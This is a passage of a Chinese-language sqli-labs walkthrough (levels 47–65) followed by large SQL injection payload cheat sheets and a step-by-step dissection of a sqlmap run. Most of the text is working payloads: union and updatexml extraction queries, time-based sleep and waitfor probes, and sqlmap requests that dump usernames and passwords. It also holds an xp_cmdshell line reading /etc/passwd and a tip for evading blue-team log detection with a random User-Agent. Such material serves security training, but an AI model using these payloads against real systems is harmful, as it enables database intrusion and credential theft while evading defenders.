**47关:显示表单 ‘ 闭合 报错注入 **

参考46关

**48关:数字型注入 时间盲注 可尝试 DNS_log注入 **

参考其他关卡的时间盲注

49关:’ 闭合 时间盲注

同48关,参考其他关卡的时间盲注

**50关:数字型注入 报错注入 **

参考46关

51关:’ 闭合 报错注入

参考46关

52关:数字型注入 时间盲注

参考其他关卡的时间盲注

53关:’ 闭合 时间盲注

参考其他关卡的时间盲注

54 ~ 65关 要求在限定步数内完成注入,围绕 challenge 数据库

**54关:显错注入 ‘ 闭合 **

1
2
3
4
5
6
7
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges' -- -  //查表

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='表名' -- - //查字段

?id=-1' union select 1,group_concat(secret_字段),group_concat(sessid) from challenges.表名-- - //查数据

随后将 secret_字段 里的内容放入 Submit Secret Key 中即算过关

55关:)闭合 显错注入

同54关

56关:’) 闭合 显错注入

同54关

57关:” 闭合 显错注入

同54关

58关:’ 闭合 报错注入

1
2
3
4
5
6
?id=-1' union select 1,updatexml(1, concat(0x7e, (select group_concat(table_name)from information_schema.tables where table_schema='challenges')) ,1),3-- - //查表


?id=-1' union select 1,updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='9qx3233vht')) ,1),3-- -//查字段

?id=-1' union select 1,updatexml(1, concat(0x7e, (select group_concat(secret_字段) from 表名)) ,1),3-- - //查数据

59关:数字型注入 报错注入

payload 参考58关

60关:”)闭合 报错注入

payload 参考58关

61关:’)) 闭合 报错注入

payload 参考58关

62关:’) 闭合 时间盲注

**63关:’ 闭合 时间盲注 **

64关:数字型注入 时间盲注

65关:”) 闭合 时间盲注

所有关卡到此结束

一些 payload

闭合 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

\
'
"
%df' 宽字节
%df" 宽字节
and 1=1
and 1=2
' and '1'='1
' and '1'='2
" and "1"="1
" and "1"="2
) and (1=1
) and (1=2
') and ('1'='1
') and ('1'='2
%' and 1=1 and '%'='
%' and 1=2 and '%'='x
%') and 1=1 and ('%'='
%') and 1=2 and ('%'='x
OR 1=1
OR 1=2
' OR 1=1-- -
' OR 1=2-- -
) OR 1=1-- -
) OR 1=2-- -
') OR 1=1-- -
') OR 1=2-- -
" OR "1"="1
" OR "1"="2
' OR '1'='1
' OR '1'='2
) OR (1=1
) OR (1=2
') OR ('1'='1
') OR ('1'='2

order by 黑盒测试 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
(case when(1=1) then 1 else (select 1 union select 2) end)
(case when(1=2) then 1 else (select 1 union select 2) end)
,(1-(case when(1=1) then 1 else (select 1 union select 2) end))
,(1-(case when(1=2) then 1 else (select 1 union select 2) end))
,1=if((1=1),1,(select 1 union select 2))
,1=if((1=2),1,(select 1 union select 2))
,If((1=1),1,(select 1 union select 2))-- -
,If((1=2),1,(select 1 union select 2))-- -
,If((1=1),sleep(4),(select 1 union select 2))-- -
-IF((1=1),1,(SELECT 1 UNION SELECT 2))-- -
-IF((1=2),1,(SELECT 1 UNION SELECT 2))-- -
-(case when(1=1) then 1 else (select 1 union select 2) end)
-(case when(1=2) then 1 else (select 1 union select 2) end)

时间盲注 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
'%2b(if((1=1 and sleep(4)),1,(select 1 union select 2)))%2b'a
-IF((1=1),sleep(4),(SELECT 1 UNION SELECT 2))-- -
';(SELECT 1 FROM(SELECT(sleep(4)))lWuP)-- -
;SELECT sleep(4)
);SELECT sleep(4)-- -
;SELECT sleep(4)-- -
;(SELECT 1 FROM(SELECT(sleep(4)))lWuP)-- -
' AND SLEEP(4)%23
AND sleep(4)
' AND sleep(4) AND '1'='1
') AND sleep(4) AND ('1'='1
) AND sleep(4) AND (1=1
" AND sleep(4) AND "1"="
') and (select(0)from(select(sleep(4)))x)-- -
and (select(0)from(select(sleep(4)))x)
and (select(0)from(select(sleep(4)))x) and 1=1
' and (select(0)from(select(sleep(4)))x) and '1'='1
" and (select(0)from(select(sleep(4)))x) and "1"="1
) and (select(0)from(select(sleep(4)))x) and (1=1
') and (select(0)from(select(sleep(4)))x) and ('1'='1
rlike (select(0)from(select(sleep(4)))x) and 1=1
' rlike (select(0)from(select(sleep(4)))x) and '1'='1
) rlike (select(0)from(select(sleep(4)))x) and (1=1
') rlike (select(0)from(select(sleep(4)))x) and ('1'='1
;waitfor delay '0:0:4' -- -
';waitfor delay '0:0:4' -- -
);waitfor delay '0:0:4' -- -
');waitfor delay '0:0:4' -- -
if(now()=sysdate(),sleep(4),0)/*'XOR(if(now()=sysdate(),sleep(4),0))OR'"XOR(if(now()=sysdate(),sleep(4),0))OR"*/
(SELECT * FROM(SELECT(sleep(4)))lWuP)

显错注入 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
1.判断当前数据表中有几列:
?id=1' order by 数值 --+

2.查看显示位在第几列(这里假设共有3列):
?id=-1' union select 1,2,3 --+

3.显示当前数据库(假设显示位在第3 列):
?id=-1' union select 1,2,database() --+

4.查询当前数据库的所有表:
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+

5.查询所有数据库 :
?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata) --+

6.查询某个数据库中的表 (此例为 test 数据库):
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='test') --+

7.查询某个表中的所有字段 (此例为 test数据库中的users 表):
?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=‘test' and table_name='users') --+

8.查询某个表中的字段内容(此例为 test数据库中的users 表):
?id=-1union select 1,2,(select group_concat(username,0x3a,0x3a,password) from test.users) --+

sqlmap 注入过程详解

sqlmap 在完成一次完整注入过程中发生了什么呢?

1.环境

1
2
3
burp suite v_2021.6.2
sqlmap v_1.5.8
封神台、sqli靶场

**2.开始测试 **

1.将sqlmap 的请求经过burpsuite

在 sqlmap 使用 **–proxy=”http://127.0.0.1:8080" ** 参数即可

在上面我们会发现,User-Agent:sqlmap/1.5.8#stable (http: //sqlmap.org) ,这样的头部内容在web 日志里很容易引起蓝方的怀疑。所以我们再加上 –random-agent 参数,自动生成合适的 User-Agent,效果如下:

2.首先,sqlmap 会先发送多遍正常的请求,确认测试目标URL内容是否稳定(相当于刷新)

3.然后开始下一项测试,这次发送的id变成了 7115 。意思是 测试获取参数“id”是否为动态,然后得出结论: 获取参数“id”似乎是动态的 (在改变 id 后观察页面是否相同)

4.检测数据库类型

1
这是它使用的payload  ?id=1%29%22%28.%28%2C%27%29.%29 URL解码后: )"(.(,').)

5.下一项检测是否存在 XSS

发送了测试代码

1
?id=1&mJUs=1481%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 HTTP/1.1" 200 721

其中一些代码进行了URL编码,解码后得到:

1
?id=1&mJUs=1481 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')# HTTP/1.1" 200 721

5.下面开始进行注入测试,如果没有指定sqlmap使用哪一种注入方式,它会将所有的注入方式都跑一遍。而且会按以下顺序进行注入,这就是为什么我们使用的sqlmap总喜欢用布尔盲注的原因。sqlmap中有以下几种注入方式

1
2
3
4
5
6
7
--technique 参数
B: Boolean-based blind SQL injection(布尔型注⼊)
E: Error-based SQL injection(报错型注⼊)
U: UNION query SQL injection(可联合查询注⼊)
S: Stacked queries SQL injection(可多语句查询注⼊)
T: Time-based blind SQL injection(基于时间延迟注⼊)
Q: inline_query SQL injection(内联注⼊)
  1. 在文件boundaries.xml 中选取合适的闭合方式,里面都是单引号,双引号,括号等等符号的组合。 在文件sqlmap/data/xml/payloads下选取对应的payload。所以梳理⼀下思路,我们最终会发送给⽬标服务器的payload ,不过首先要先闭合,在文件boundaries.xml 中,然后从对应的注入类型的模板中提取对应参数,如布尔盲注模板,然后再到queries.xml中取出想要的表达式,最后有必要的话使用 temper 对payload 进行修饰,最后输出的就是一个完整的 payload 。

以下是sqlmap一次完整的注入

7.查字段

1
2
3
4
5
6
1' ORDER BY 1-- -
1' ORDER BY 6488-- -
1' ORDER BY 10-- -
1' ORDER BY 6-- -
1' ORDER BY 4-- -
1' ORDER BY 3-- -

8.查数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
1' UNION ALL SELECT NULL,CONCAT(0x717a6a6a71,0x57546868445661497a474b574369506768417a597064667a614557616f6a754870464c64544e464a,0x7162706a71),NULL-- -

1' UNION ALL SELECT CONCAT(0x717a6a6a71,0x6b4158546d48415a41496e48596448615867594e49525374436954664d5574505871726d51455279,0x7162706a71),NULL,NULL-- -

1' UNION ALL SELECT NULL,NULL,CONCAT(0x717a6a6a71,0x464843574f4973414372614d414a73595970426c5177534767687050454a4a5647795a5375445a61,0x7162706a71)-- -

1' UNION ALL SELECT NULL,CONCAT(0x717a6a6a71,0x57525a45435572416663,0x7162706a71),NULL-- -

1' UNION ALL SELECT CONCAT(0x717a6a6a71,0x5a70654458455a6e7344,0x7162706a71),NULL,NULL-- -

1' UNION ALL SELECT NULL,NULL,CONCAT(0x717a6a6a71,0x55626b6e586165436468,0x7162706a71)-- -

-4234' UNION ALL SELECT CONCAT(0x717a6a6a71,0x766455794f71597656557757576c4c6d6447656975464946565576714c47486d5852766154455359,0x7162706a71),NULL,NULL-- -

-9821' UNION ALL SELECT NULL,CONCAT(0x717a6a6a71,0x726557794d7a476c4d5975697274766d704845684c646f68746a6e674e6a66436a77774a4e5a4455,0x7162706a71),NULL-- -

-6633' UNION ALL SELECT NULL,CONCAT(0x717a6a6a71,(CASE WHEN (2947= 2947) THEN 1 ELSE 0 END),0x7162706a71),NULL-- -

-5741' UNION ALL SELECT NULL,CONCAT(0x717a6a6a71,(CASE WHEN (VERSION() LIKE 0x254d61726961444225) THEN 1 ELSE 0 END),0x7162706a71),NULL-- -

-9889' UNION ALL SELECT NULL,CONCAT(0x717a6a6a71,(CASE WHEN (VERSION() LIKE 0x255469444225) THEN 1 ELSE 0 END),0x7162706a71),NULL-- -

-4073' UNION ALL SELECT NULL,CONCAT(0x717a6a6a71,(CASE WHEN (@@VERSION_COMMENT LIKE 0x256472697a7a6c6525) THEN 1 ELSE 0 END),0x7162706a71),NULL-- -

-4680' UNION ALL SELECT NULL,CONCAT(0x717a6a6a71,(CASE WHEN (@@VERSION_COMMENT LIKE 0x25506572636f6e6125) THEN 1 ELSE 0 END),0x7162706a71),NULL-- -

-9973' UNION ALL SELECT NULL,CONCAT(0x717a6a6a71,(CASE WHEN (AURORA_VERSION() LIKE 0x25) THEN 1 ELSE 0 END),0x7162706a71),NULL-- -

-3008' UNION ALL SELECT NULL,CONCAT(0x717a6a6a71,(CASE WHEN (AURORA_VERSION() LIKE 0x25) THEN 1 ELSE 0 END),0x7162706a71),NULL-- -

-5854' UNION ALL SELECT NULL,CONCAT(0x717a6a6a71,JSON_ARRAYAGG(CONCAT_WS(0x6a77756c7677,schema_name)),0x7162706a71),NULL FROM INFORMATION_SCHEMA.SCHEMATA-- -

9.查表名

1
-4170' UNION ALL SELECT NULL,CONCAT(0x717a6a6a71,JSON_ARRAYAGG(CONCAT_WS(0x6a77756c7677,table_name)),0x7162706a71),NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x7365637572697479)-- -

10.查字段

1
-8178' UNION ALL SELECT NULL,CONCAT(0x717a6a6a71,JSON_ARRAYAGG(CONCAT_WS(0x6a77756c7677,column_name,column_type)),0x7162706a71),NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x7365637572697479-- -

11.字段内容数据脱库

1
-3449' UNION ALL SELECT NULL,CONCAT(0x717a6a6a71,JSON_ARRAYAGG(CONCAT_WS(0x6a77756c7677,id,password,username)),0x7162706a71),NULL FROM security.users-- -